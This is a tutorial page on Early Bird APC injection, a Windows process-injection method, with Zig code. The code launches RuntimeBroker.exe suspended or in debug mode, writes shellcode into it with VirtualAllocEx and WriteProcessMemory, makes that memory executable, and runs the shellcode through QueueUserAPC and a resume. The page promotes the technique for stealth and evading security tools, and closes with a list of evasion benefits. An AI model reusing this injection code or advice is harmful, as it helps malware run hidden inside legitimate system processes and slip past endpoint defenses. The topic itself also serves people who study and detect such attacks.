Skip to content

Early Bird APC Injection

TL;DR

See the code example

Early Bird APC injection is an advanced code injection technique that leverages the process creation lifecycle to execute malicious payloads before the main thread begins execution. This method creates a target process in a suspended or debugged state, injects shellcode, queues an APC to the main thread, and then resumes execution - causing the APC to execute immediately upon process startup.

The technique's effectiveness lies in timing: by injecting during process initialization, it bypasses many runtime security measures and appears as legitimate process behavior. Our Zig implementation provides flexibility with two process creation methods (CREATE_SUSPENDED and DEBUG_PROCESS) and demonstrates cross-process memory injection combined with APC queuing.

This approach is particularly stealthy because it executes within the context of a legitimate system process from its very first instruction, making detection extremely challenging for traditional security solutions.

What is Early Bird APC Injection?

Early Bird APC injection is a sophisticated variant of standard APC injection that exploits the process creation and initialization timeline. Unlike traditional APC injection which targets existing threads, Early Bird injection creates a new process specifically for the purpose of code injection.

The key insight is that when a process is created with the CREATE_SUSPENDED flag or in debug mode, the main thread exists but hasn't started executing the original program code yet. This creates a perfect window to:

  1. Inject malicious code into the process memory space
  2. Queue an APC to the main thread
  3. Resume execution - causing the APC to execute before any original code

This timing makes the injection appear as if the malicious code is part of the original process initialization, making it extremely difficult to detect.

Process Creation Methods

Our implementation supports two different process creation methods, each with distinct advantages:

Using CREATE_SUSPENDED Flag

const CREATE_SUSPENDED = 0x00000004;

// Create process in suspended state
if (CreateProcessA(
    null,
    @constCast(formatted.ptr),
    null,
    null,
    0,
    CREATE_SUSPENDED,  // All threads start suspended
    null,
    null,
    &Si,
    &Pi,
) == 0) {
    // Handle error
}
  • Clean and straightforward approach
  • Process is truly suspended until resumed
  • No debugging overhead
  • Uses ResumeThread to continue execution

Using DEBUG_PROCESS Flag

const DEBUG_PROCESS = 0x00000001;

// Create process in debug mode
if (CreateProcessA(
    null,
    @constCast(formatted.ptr),
    null,
    null,
    0,
    DEBUG_PROCESS,  // Process starts in debug mode
    null,
    null,
    &Si,
    &Pi,
) == 0) {
    // Handle error
}
  • Process appears to be debugging session
  • Can blend in with legitimate debugging activity
  • Uses DebugActiveProcessStop to detach and continue

Cross-Process Memory Injection

Early Bird injection requires writing shellcode into the target process's memory space using cross-process memory manipulation APIs:

Memory Allocation

fn injectShellcodeToRemoteProcess(
    hProcess: windows.HANDLE,
    pShellcode: []const u8,
    ppAddress: *?*anyopaque,
) bool {
    // Allocate memory in target process
    ppAddress.* = VirtualAllocEx(
        hProcess,
        null,
        pShellcode.len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    );

    if (ppAddress.* == null) {
        print("\n\t[!] VirtualAllocEx Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
        return false;
    }

Key Points:

  • VirtualAllocEx allocates memory in the target process
  • Initially allocated with PAGE_READWRITE for writing
  • Later changed to PAGE_EXECUTE_READWRITE for execution

Writing Shellcode

// Write shellcode to allocated memory
if (WriteProcessMemory(
    hProcess,
    ppAddress.*.?,
    pShellcode.ptr,
    pShellcode.len,
    &sNumberOfBytesWritten,
) == 0 or sNumberOfBytesWritten != pShellcode.len) {
    print("\n\t[!] WriteProcessMemory Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
    return false;
}

Memory Protection

// Change memory protection to executable
if (VirtualProtectEx(
    hProcess,
    ppAddress.*.?,
    pShellcode.len,
    PAGE_EXECUTE_READWRITE,
    &dwOldProtection,
) == 0) {
    print("\n\t[!] VirtualProtectEx Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
    return false;
}

APC Queuing and Execution

Once the shellcode is injected, we queue it as an APC to the main thread:

// Queue APC to the main thread
_ = QueueUserAPC(
    @ptrCast(pAddress.?),  // Shellcode address cast as function pointer
    hThread,               // Main thread handle
    0,                     // No parameter data
);

Critical Timing:

  • APC is queued while thread is suspended/debugged
  • When thread resumes, APC executes before original code
  • Appears as legitimate process initialization

Process Creation and Target Selection

Target Process Selection

const TARGET_PROCESS = "RuntimeBroker.exe";

RuntimeBroker.exe is chosen because:

  • It's a legitimate Windows system process
  • Commonly running on Windows systems
  • Has appropriate privileges for demonstration
  • Less likely to trigger security alerts

Process Path Resolution

fn createSuspendedProcess2(
    lpProcessName: [*:0]const u8,
    dwProcessId: *windows.DWORD,
    hProcess: *windows.HANDLE,
    hThread: *windows.HANDLE,
    method: ProcessCreationMethod,
) bool {
    var lpPath: [MAX_PATH * 2]u8 = undefined;
    var WnDr: [MAX_PATH]u8 = undefined;

    // Get Windows directory (usually C:\Windows)
    if (GetEnvironmentVariableA("WINDIR", &WnDr, MAX_PATH) == 0) {
        print("[!] GetEnvironmentVariableA Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
        return false;
    }

    // Build full path: C:\Windows\System32\RuntimeBroker.exe
    const formatted = std.fmt.bufPrintZ(&lpPath, "{s}\\System32\\{s}", .{
        WnDr[0..std.mem.indexOfScalar(u8, &WnDr, 0).?],
        std.mem.span(lpProcessName)
    }) catch {
        print("[!] Failed to format path\n", .{});
        return false;
    };

Resume Methods

The technique uses different methods to resume execution based on the creation method:

CREATE_SUSPENDED Resume

.CREATE_SUSPENDED => {
    print("[i] Resuming The Target Process Thread ... ", .{});
    const result = ResumeThread(hThread);
    if (result == ~@as(windows.DWORD, 0)) {
        print("[!] ResumeThread Failed With Error : {d} \n", .{windows.kernel32.GetLastError()});
    } else {
        print("[+] DONE \n\n", .{});
    }
},

DEBUG_PROCESS Resume

.DEBUG_PROCESS => {
    print("[i] Detaching The Target Process ... ", .{});
    _ = DebugActiveProcessStop(dwProcessId);
    print("[+] DONE \n\n", .{});
},

Complete Execution Flow

  1. Process Creation: Create target process in suspended/debug state
  2. Memory Allocation: Allocate executable memory in target process
  3. Shellcode Injection: Write payload to allocated memory and make it executable
  4. APC Queuing: Queue shellcode as APC to main thread
  5. Process Resume: Resume execution triggering APC
  6. Cleanup: Close handles and exit

Comparison with Standard APC Injection

Aspect Standard APC Injection Early Bird APC Injection
Target Existing process/thread Newly created process
Timing Runtime injection Pre-execution injection
Detection Risk Medium (runtime behavior changes) Lower (appears as process initialization)
Thread State Must find/create alertable thread Uses main thread directly
Complexity Moderate Higher (cross-process operations)
Stealth Good Excellent
Reliability Depends on thread alertability High (guaranteed execution)

Security Evasion Benefits

Early Bird APC injection provides several security evasion advantages:

  1. Process Legitimacy: Creates real system processes, not suspicious executables
  2. Timing Evasion: Executes before most runtime security hooks activate
  3. Memory Layout: Shellcode appears as part of normal process memory
  4. Behavioral Mimicry: Mimics normal process initialization patterns
  5. API Usage: Uses only legitimate Windows APIs in expected ways